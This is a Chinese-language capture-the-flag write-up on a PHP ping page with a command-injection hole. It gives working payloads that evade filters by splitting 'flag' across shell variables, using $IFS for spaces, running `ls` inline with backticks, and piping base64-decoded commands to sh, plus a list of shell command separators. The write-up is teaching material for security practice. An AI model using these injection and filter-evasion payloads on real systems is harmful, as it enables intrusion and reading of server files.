一.解题步骤
(1)页面里显示/?ip=,很明显要以ping的形式传一个参数给ip,并且我们要想执行其他命令,就要用命令分隔符也就是管道符连接,命令分隔符可以用";“”|“”&"三种,本题经过尝试发现第一步查看目录过滤了|,&和空格。
这里介绍两种方式:
1.ping本地127.0.0.1
2.用||来代替127.0.0.1;
(2)虽然找到了放flag的文件,但是尝试后发现都不对,这里介绍一种思路,我们可以通过查看index.php的文件源码来查看源码,从而确认过滤了哪些东西,题目说过滤了命令连接符&,\,空格,*,bash,<>,flag,?,我们得想一些其他方法来绕过
(3)要想得到flag了,我们需要绕过过滤掉的东西
这里介绍三种可以解决的特殊绕过方式:
1.拼接绕过法
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
以上是题目给的绕过flag的源码,我们这里需要知道这是正则表达式匹配了ip的值中是否顺序出现了f、l、a、g四个字母。这样一来我们就可以拼接一个flag来绕过了,可以拼接f;lag fl;ag fla;g 但是这里需要注意:本题特殊就特殊在flag的字母顺序要不同(拼接绕过的一个大坑)
y=g;x=fla;$x$y
y=ag;x=fl;$x$y
y=lag;x=f;$x$y
构造payload:/?ip=||y=ag;x=fl;cat$IFS$9$x$y.php
跑一下得到flag
2.内联执行法
可以看到代码没有过滤掉符号` 所以可以利用内联执行的方式直接打开flag文件,先执行命令ls,再把ls得到的文件名全部用命令cat打开,构建payload 跑一下,查看源码拿到flag
/?ip=127.0.0.1;cat$IFS$6`ls`或者/?ip=||cat$IFS$6`ls`
3. sh编码绕过法(base64编码)
使用方法:
echo 命令编码|base64 -d|sh
sh可以换成bash, 但是题目过滤掉了
也可以换成其他的编码形式,这里用base64的
空格用$IFS$6替换掉
cat flag.php 的base64编码为Y2F0IGZsYWcucGhw
构造payload , 相当于执行命令cat flag.php,跑一下,查看源码得到flag
/?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh
/?ip=||echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh
二、命令分隔符
1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位和),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑和),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
5、;(linux下有的,和&一样的作用)
三.常见绕过方式
此处特别鸣谢Yun 3a0